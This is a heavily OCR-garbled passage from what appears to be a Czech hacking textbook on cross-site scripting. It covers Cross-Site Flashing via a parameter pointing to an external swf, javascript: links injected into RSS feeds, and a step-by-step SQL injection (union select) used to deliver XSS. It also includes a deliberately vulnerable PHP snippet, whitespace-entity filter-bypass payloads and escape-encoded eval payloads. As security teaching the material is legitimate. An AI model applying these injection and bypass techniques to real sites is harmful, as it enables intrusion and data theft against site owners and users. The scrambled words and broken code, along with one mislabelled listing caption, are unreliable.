skute&né dojde. Jakym zjsobem se nas bypass integroval do HTML koédu
stranky, bude aft nejlépe patrné z jejiho zdrojového kddu, kteradim ve
vypisu 63.
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Cross-Site Flashing

Vratme se nyni na chvili k (%0é animaci, kterou jsme
vytvorili pomoci nastraj MTASC a SWFMILL a pokusme se ji vyuZzit jest
k dalSimu typu utok Ve flashi existuji funkce loadMovie()
aloadMovieNum() které umo#uji naist a zobrazit externi swf soubor.
Pokud tedy narazite na flashovou animaci, kteradnb parametru néta
soubor swf, jak ukazuji ve vypise 103,¢it¢ stoji za provieni, zda se
nepodé zménou hodnoty tohoto parametru podvrhnout cestu lemas
utotnému swf souboru a tim jej do aplikace injektovat.

Vypis 103 - Vstup souboru swf v hodnot & prfedavaného parametru

animace.swf?movie=film.swf
animace.swf?movie=http://www.hackingvpraxi.cz/xss.s wi

Tato metoda zneuziti flash objektu se sp&awmnauje jako
Cross-Site Flashingeboli XSF a d& se zneuzit i k jinyrselim, nez jen ke
spustni naSeho skriptu. Potldi se nam nafiklad podstéit timto zpisobem
piihlaSovaci formul&vytvoreny ve flashi, do flashové aplikace ursigt na
webu, niize tak zaznamenavat autentifikd idaje uzivatél.

Uvedenymi moznostmi, kterymi je mozné na flash kaule
zautait, ovsem jejich vyet zdaleka nekaih. Adobe Flash Playerktery se
k zobrazovani vlozenych flashovych animaci ve wegbbvprohlizeich
pouziva, ale s kazdou svou ®ovydanou verzicim dal tim Iépe chrani
uZivatele ped Utoky podobnych typ Stava se proto stale obtéi
piistoupit k DOM dokumentu, nebo &iat vstup z externiho zdroje. Unei
flashovych aplikaci a webovych aplikaci navic dibstadispozici objekt
security s moZnosti #kolika bezpénostnich voleb. Najdete je v tabulce 28.

Tabulka 28 - Bezpe ¢nostni nastaveni dostupné vyvoja fum a webmaster gm ‘

allowDomain
* SWF soubor povoluje p ristup ke svym prom &nnym a ostatnim
* hackingvpraxi.cz objekt am ostatnim flashovym aplikacim z uvedenych domén.
allowScriptAccess
always Povoli spust &ni javascriptu z jakéhokoliv swf souboru
sameDomain Povoli spust &ni JavaScriptu pouze v p tipad &,
Ze swf soubor pochazi ze stejné domény, jako je H T™ML
soubor, vn &mz je flash umist &n (defaultni nastaveni).
Never Zakaze jakékoliv pouziti JavaScriptu ze swf souboru

! http://help.adobe.com/cs_CZ/AS3LCR/Flash_10.0/flgstem/Security.html
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allowNetworking

all SWF souboru je povleno pouziti vSech dostupnych metod pro
komunikaci s vn &j8im prost  redi.
internal P ¥i pouziti tohoto nastaveni jsou zablokovany funkce
getURL, MovieClip.getURL, fscomand(),
Externalinterface.call() pro p #istup k webovému browseru.
Ostatni funkce z astavaji povoleny.
none Krom & vySe uvedenych sou zablokovany i vSechny
nésledujici komunika &ni funkce
XML.load, XML.send, XML.sendAndLoad, LoadVars.loa d(),
LoadVars.send, LoadVars.sendAndLoad, loadVariable s,

loadVariablesNum, MovieClip.loadVariables,
NetConnection.connect, NetStream.play, loadMovie,
loadMovieNum, MovieClip.loadMovie,
MovieClipLoader.loadClip, Sound.loadSound,
LocalConnection.connect, LocalConnection.send,
SharedObject.getLocal, SharedObject.getRemote,
FileReference.upload, FileReference.download,
System.security.loadPolicyFile, XMLSocket.connect

allowFullScreen

true Méd celé obrazovky je povolen
false Méd celé obrazovky je zakazan

Uvedena nastaveni ibeme zahrnout ifmo do koédu animace,
nebo je nmzeme pedavat v podob pronmennych, nebo pouzitim XML
souborucrossdomain.xmlktery musi byt umish v ka‘enovém adresa
webu. Maji-li mezi sebou komunikovat dva SWF soybge dilezité, aby
méli vzajemre nastavena patna opraveni. Fripad, kdy jsou jejich hodnoty
zadavany jako parametry uvniagi objektaembedukazuje vypis 104.

Vypis 104 - Ukézka pouZziti bezpe c¢nostnich nastaveni

<html>
<head>
<meta http-equiv="content-type" content="text/ht ml; charset=windows-1250">
<title></title>
</head>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8- 444553540000"
width="730" height="90">
<param name="movie" value="test.swf">
<param name="allowScriptAccess" value="sameDo main">
<param name="allowNetworking" value="none">
<embed src="test.swf" width="730" height="90"
allowScriptAccess="sameDomain" allowNetworkin g="none"
type="application/x-shockwave-flash">
</object>
</body>
</html>
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V piipac, ze bychom nahradili odkazy vedouci na jednotlivé
¢lanky skriptem uvedenym direktivojavascript: (viz. vypis 119), mohli
bychom tak vyvolat jeho spu$ti ve chvili, kdy uzivatel na takovy odkaz
klikne ve své RS$tecce.

Vypis 119 - VloZeni JavaScriptu do zdroje RSS

<item>
<title> Clanek</title>
<link>javascript:alert(’XSS")</link>
<description>Ukazkovy &lanek</description>
<fitem>

Samotné provedeni Utoku je ale v tomteippct portkud
doporueny zdroj pidali do svéétecky RSS, nebo by jim ho musel vnutit
napiklad bshem CSRF atoku.

SIXSS

Nyni vas asi zajima, co se pod tak zvlaStnim nadpiSIXSS
vlastre skryvd. A se to niZze zdat zprvu nepochopitelné,aibeme ve
webové aplikaci, ktera je jinakawi XSS radré zabezp&ena, vyuZzit ke
spusténi kédu zranitelnosti SQL injection. Jeji vyskyt weebovych
aplikacich neni nijak vyjimay. Jiz jsem uvad, Ze vyvojdi ¢asto spravé
oSeti vkladani nebezgaych znak ostrych zavorek, na kterych je XSS
¢asto zavislé, nebo nemusi mit uzivateldbac moznost vkladat jakékoliv
vstupy. Pokud ale aplikace di& zobrazované Udaje z databaze a&asni
je nachylna na SQL injection, nic nebranidii&ovi v tom, aby prav skrz
ni vloZil na stanky vystup v podsliskriptu a tim vyvolal XSS.

Udélame si kratky Gvod do SQL injection a ukazeme &digj
zneuZiti pro XSS na praktickéntikladu. Nejprve si najdeme potencidln
zranitelnou stranku, kter&gdava parametry v URI. Jak takovy odkaZm
vypadat, uvadim ve vypisu 120.

Vypis 120 — Ukézka odkazu, ktery m dze byt potencialn € nachylny na SQL injection

http://www.example.cz/rec/recview.asp?co=2
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Nasled® otestujeme zda je stranka nachylna na SQL injectio
NejjednodusSim Zpsobem, jak to zjistit, je roz¥ hodnotu pronsnné
o logicky vyraz, tak jak ukazuji odkazy z vypisu 112Pokud prvni
z uvedenych odkdz vrati paticny zdznam a druhy ne, pak je stranka

s nej\tSi pravépodobnosti nachylna.

Vypis 121 — Otestovani prom €énné na p fitomnost zranitelnosti SQL injection

http://www.example.cz/rec/recview.asp?co=2 and 1=1
http://www.example.cz/rec/recview.asp?co=2 and 1=0

Soubor Upravy Zobrazeni Historie Zalozky Nastroje Napowéda
& -c o % @ 0wy | % P-

=2%20and%201=0 |+

[ ttp/peww ...o-2%20and%201

m

ema dlouhého trvani, mimo

h tvorba dopada na prozatim stéle jeité

Hotovo # (9 TorDisabled .:"i i Tor Disabled g"i

Nyni nebude od &ci si fici par slov o tom, co se to s naSim
vstupem stalo na strarserveru. Pochopeni SQL injection ovSem vyZaduje
alespén zékladni znalost programovani v SQRekréme, Ze na stran
webového serveru,ipvezme hodnotu prafnné php skript, ktery ji bez
jakékoliv kontroly pouZzije pro vyti@ni SQL dotazu. PHP skript by mohl
ve zkracené podeébvypadat podob¥) jako ten z vypisu 122.

Vypis 122 — Uké&zka php skriptu zranitelného na SQL injection

<?php
$idclanek = $_GET["id"];
$dotaz = “SELECT * FROM clanky WHERE idclanku= $idclanek
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Nyni si ve vypisu 123 ukazeme, jaké SQL dotazy nakona
serveru vzniknou, pokudi@dame vstupy z vypisu 121. Z vypisu bglon
byt patrné, prdjeden ze vstupvrati pozadovany obsah a druhy nikoliv.

Vypis 123 — SQL dotaz vznikly po vloZeni testovacic  h vstup &

dotaz = “SELECT * FROM clanky WHERE idclanku= 2and 1=1 7
dotaz = “SELECT * FROM clanky WHERE idclanku= 2and 1=0 ”;

Nasledujicim krokem bude zji#i paitu sloupé v databazové
tabulce. To provedeme postupnynédovanintisla v klauzuliorder by

Vypis 124 - VloZzeni JavaScriptu do zdroje RSS

http://lwww.example.cz/rec/recview.asp?co=2 order by 3

Tabulka ma tolik sloupg kolik je nejwtsi ¢islo pouzité v klauzuli
order by a které jest nezpisobilo chybu. Nyni, kdyZz vime, kolik ma
tabulka sloupt mizeme ji spojit s ndmi vytwenym dotazem,iftemz jako
hodnotu parametru uvedeme takovou, ktera se v @atalgité nevyskytuje
(-1). Paet hodnot naSehofipojeného dotazu musi byt shodny Stemn
sloupd databazové tabulky.

Vypis 125 — P fipojeni testovacich hodnot k tabuce vracenych vysle dka

http://www.example.cz/rec/recview.asp?co=-1 union a Il select 1,2,3

@ Wosila Frerox U [l ]

Soubor Upravy Zobrazeni Historie Zalozky Mdstroje Népoyéda
@ - C o % P hitps wwigggg/rectecview.aspTco=-1 union all select 1,23 > - | |49~ Google »r

|| httpe/fwww.giiffc...Ofrom%20recenze |

Hotovo # (9  TorDisabled gﬁ

Vidime, které informace z dotazu (hodnotyl, 2 a&s&)promitaji
zpit do obsahu webové stranky. Na jejich misto nynfizeme vlozit kod
naseho JavaScriptu, jak ukazuje vypis 126.
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Pouzivani blacklist se rozhod& nedoporiuje, protoze se té
vzdy najde #jaka ta skulina, jak je obejit. Pokud byste sejichepouziti
pieci jen z ®jakého divodu uchylili, myslete v nich proto i na tento typ
mozné injekce nebezgmych kodi. Napiklad vzdy pevelte uZzivatelsky
vstup nejprve na sjednocenou velikost pismen avéepo té sgj filtr
aplikujte.

Prokladani specialnimi znaky

Podobr jako tomu bylo u velikosti pismen, je wkterych
situacich mozné obejit bezpmstni filtry aplikace prolozenim
nebezpénychretzci specialnimi bilymi znaky, které uvadim v tabul& 3

Tabulka 33 - specialni bilé znaky

&#x00;  NULL

&#x09; Horizontalni tabulator

&HXOA; Novy radek

&#x0D; Navrat na za céatek radku

ZnakNULL s ASCII hodnotou znaku 00, nebo-li také nulovykzna
je mozny vyuzit i u jinych typ Utoki. My vSak Zistaneme jen u XSS
aiekneme si, Ze tento velice specialni znak je makiédat napiklad do
samotnych taly aniz by ®jak omezil jejich funkci. Vedle & je mozné
pouzit uretzch (nagiklad v atributusrc) i ostatni bilé znaky zipdchozi
tabulky. Bilé znaky, jako jeréba tabulator, neborgchod na novyadek
miazeme rkdy vkladat gfimo pomoci klaves tabulator nebo enter. Jindy je
zase vhodné vkladat je pomoci jejich HTML entitynak NULL ovSem
miZemedasto zapsat jen s pouzitim skriptu nebesphexadecimalni editor.
V nésleduijici tabulce uvadingktera mozné pouZziti bilych znéak kodu.

Tabulka 34 - Pouziti bilych znak d v tagu

<s&#x00;cript> (znak null neni mozné takto (HTML en titou) zapsat)
<a href="java&#x09;script:alert(/XSS/);">
<a href="java script:alert(/XSS/);">

<a href="java&#xOA;script:alert(/XSS/);">
<a href="java&#xOD;script:alert(/XSS/);">
<a href="java

script:alert(/XSS/);">

<a href="]

a

T TS one <

:alert(/XSS/);">
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Escape sekvence znak U

Nékdy se vam stane, Ze pebujete v JavaScriptu pouzivatézce
obsahujici krom jinych, také znaky se zvlastnim vyznamem. Takovymi
znaky mize byt napklad kéd uvozovek vietzci, ktery je sam
v uvozovkach uzaen, nebo najklad pechod na novyadek. JavaScript
obsahuje pro tytoifpady escape sekvence, kteréimaji zgtnym lomitkem
a jsou nésledovany znakem, ktery postapm lomitku nabyva jiného,
zvlastniho vyznamu. Seznam escape sekvenci uvatibuice 36.

Tabulka 36 - Escape sekvence znak d

\' Znak apostrofu

\" Znak uvozovek

\ Znak zp  &tného lomitka

\b Backspace

\f Form feed

\n New line - od radkovani

\r Carriage return - navrat

\t Tabulator

\ddd Octal sekvence znaku ASCII kéd v osmi ckové soustav &
\xdd Hexadecimalni sekvence znaku ASCII kéd v Sestn actkové soustav &
\udddd Unicode sekvence znaku UNICODE kéd v Sestnac tkové soustav &

Chceme-li nagiklad pouzit iettzec rozdleny na dvaiadky
pouzijeme v mistprechodu na novyadek escape sekvenni Pokud navic
chceme wktera slova uza¥t do uvozovek pouzijeme escape sekvehci
Retézec pak bude vypadat takto:

"Toto je text \"prvniho\" #adku\nToto zase text \"druhého\radku"

Pro kédovani celychrettzcl Ize pouzit poslednichiit variant
uvedenych v tabulce 36. Pomoci nictiz@me zakodovat jakykoliv znak
v feézci, a jejichtazenim pak dokonce ceigttzec. Sekvence zma steji
jako u specialnich znékzpstnym lomitkem, které je nasledovanodia
tifimistnym ASCIl kédem znaku v osthbvé sousta¥y znakem x
a dvojmistnym ASCII kédem znaku v Sestnactkové saisnebo znakem
a ¢tyfmistnym unicode kddem znaku také v Sestnactkovstaeu Zkusime
nyni zakodovat na$ stary znantgtizec alert("XSS"); pomoci vSech
uvedenych variant. Vysledné tvatgttzce po tomto zakddovani siidete
prohlédnout v tabulce 37.

‘ Tabulka 37 - Retézec alert("XSS"); zakédovany pomoci escape  sekvenci |

Zakédovano variantou \ddd

\141\154\145\162\164\050\042\130\123\123\042\051\07 3
Zakédovano variantou \xdd
\x61\x6C\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29\x3 B

Zakédovano variantou \udddd

\u0061\u006C\u0065\u0072\u0074\u0028\u0022
\u0058\u0053\u0053\u0022\u0029\u003B
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Pokud bychom nyni cHii spustit takto zakdédovany skript, musime
u prvnich dvou uvedenych variant pouzit funkci Borgtu eval(), kterou
jsme wvyuzili jiz ve spojeni s funkdiromCharCode() U posledni, ieti
varianty koédovani ve tvarbudddd mizeme pouzit funkcieval() také,
nicmére od ostatnich dvou séezi jen trochu odliSuje. K dispozici nam totiz
dava i moznostimého spusni skriptu mimo funkcieval() Tato moznost
ma ale jista omezeni. Pomoci tohoto kédovéaiieme zakddovat jak nazvy
funkci, tak i jednotlivérettzce, nicméd znaky se specialnim vyznamem
jako jsou uvozovky, zavorky nebofetinik, timto zpsobem kodovat
nemizeme. Rzné zfisoby, kterymi je mozné skripty zakédované pomoci
escape sekvenci spogtdtivadim ve vypisu 161.

Vypis 161 - Moznosti spust énfi skript & zakédovanych pomoci escape sekvenci

javascript: eval("\141\154\145\162\164\050\042\130\ 123\123\042\051\073");
<script>eval("\x61\x6C\x65\x72\x74\x28\x22\x58\x53\ x53\x22\x29\x3B")</script>
javascript: eval("\u0061\u006C\u0065\u0072\u0074\u0 028\u0022\u0058\u0053

\u0053\u0022\u0029\u003B);

javascript:\u0061\u006C\u0065\u0072\u0074("XSS");

<script>\u0061\u006C\u0065\u0072\u0074("\u0058\u005 3\u0053"); </script>

CSS escape sekvence znak U

S escape sekvencemi zidalse nfizeme kroms samotného
JavaScriptu setkat také v CSS nebo-li v kaskadovgtech. Zde se
pouziva zptného lomitka, které je nasledovano jednim az Sesti
hexadecimalnimi znaky. Konec zéapisu kédovaného wngk definovan
prvnim znakem, ktery neni znakem z hexadecimélustssy, nebo i
dosahnuti znaku na Sesté pozici. Pro zépis znakiizeme v CSS pouZzit
libovolnou sekvenci z tabulky 38.

Tabulka 38 - Pouziti Escape sekvenci v CSS
\3C \3c
\03C \03c
\003C \003c
\0003C \0003c
\00003C \00003¢c

Pokud je znak zfiného lomitka nasledovan jakymkoliv jinym
znakem nez A-F nebo 0-9, pak je znaktmpho lomitka ignorovan. Této



